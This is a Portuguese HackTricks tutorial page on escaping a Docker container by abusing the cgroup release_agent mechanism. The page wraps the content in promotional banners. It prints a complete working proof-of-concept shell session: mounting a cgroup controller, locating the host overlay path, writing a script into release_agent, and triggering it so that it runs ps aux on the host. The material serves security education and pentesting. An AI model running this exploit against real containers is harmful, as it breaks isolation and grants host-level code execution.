hacktricks/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/docker-release_agent-cgroups-escape.md

7 KiB

Fuga de cgroups com release_agent do Docker

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Analisando o conceito de prova

Para acionar este exploit, precisamos de um cgroup onde possamos criar um arquivo release_agent e acionar a invocação do release_agent matando todos os processos no cgroup. A maneira mais fácil de conseguir isso é montar um controlador de cgroup e criar um cgroup filho.

Para fazer isso, criamos um diretório /tmp/cgrp, montamos o controlador de cgroup RDMA e criamos um cgroup filho (chamado "x" para fins deste exemplo). Embora nem todos os controladores de cgroup tenham sido testados, essa técnica deve funcionar com a maioria deles.

Se você está seguindo e recebe mount: /tmp/cgrp: special device cgroup does not exist, é porque sua configuração não tem o controlador de cgroup RDMA. Mude rdma para memory para corrigi-lo. Estamos usando RDMA porque o PoC original foi projetado para funcionar apenas com ele.

Observe que os controladores de cgroup são recursos globais que podem ser montados várias vezes com diferentes permissões e as alterações feitas em uma montagem se aplicarão a outra.

Podemos ver a criação do cgroup filho "x" e a listagem de seu diretório abaixo.

root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
root@b11cf9eab4fd:/# ls /tmp/cgrp/
cgroup.clone_children  cgroup.procs  cgroup.sane_behavior  notify_on_release  release_agent  tasks  x
root@b11cf9eab4fd:/# ls /tmp/cgrp/x
cgroup.clone_children  cgroup.procs  notify_on_release  rdma.current  rdma.max  tasks

Em seguida, ativamos as notificações de cgroup na liberação do cgroup “x” escrevendo um 1 no arquivo notify_on_release dele. Também configuramos o agente de liberação do cgroup RDMA para executar um script /cmd — que criaremos posteriormente no container — escrevendo o caminho do script /cmd no host no arquivo release_agent. Para fazer isso, pegaremos o caminho do container no host a partir do arquivo /etc/mtab.

Os arquivos que adicionamos ou modificamos no container estão presentes no host, e é possível modificá-los de ambos os mundos: o caminho no container e o caminho deles no host.

Essas operações podem ser vistas abaixo:

root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release
root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent

Observe o caminho para o script /cmd, que vamos criar no host:

root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd

Agora, criamos o script /cmd de forma que ele execute o comando ps aux e salve sua saída em /output no container, especificando o caminho completo do arquivo de saída no host. No final, também imprimimos o script /cmd para ver seu conteúdo:

root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd
root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd
root@b11cf9eab4fd:/# chmod a+x /cmd
root@b11cf9eab4fd:/# cat /cmd
#!/bin/sh
ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output

Finalmente, podemos executar o ataque iniciando um processo que termina imediatamente dentro do cgroup filho "x". Ao criar um processo /bin/sh e escrever seu PID no arquivo cgroup.procs no diretório do cgroup filho "x", o script no host será executado após a saída do /bin/sh. A saída de ps aux realizada no host é então salva no arquivo /output dentro do container:

root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
root@b11cf9eab4fd:/# head /output
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.1  1.0  17564 10288 ?        Ss   13:57   0:01 /sbin/init
root         2  0.0  0.0      0     0 ?        S    13:57   0:00 [kthreadd]
root         3  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_gp]
root         4  0.0  0.0      0     0 ?        I<   13:57   0:00 [rcu_par_gp]
root         6  0.0  0.0      0     0 ?        I<   13:57   0:00 [kworker/0:0H-kblockd]
root         8  0.0  0.0      0     0 ?        I<   13:57   0:00 [mm_percpu_wq]
root         9  0.0  0.0      0     0 ?        S    13:57   0:00 [ksoftirqd/0]
root        10  0.0  0.0      0     0 ?        I    13:57   0:00 [rcu_sched]
root        11  0.0  0.0      0     0 ?        S    13:57   0:00 [migration/0]

Referências

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks: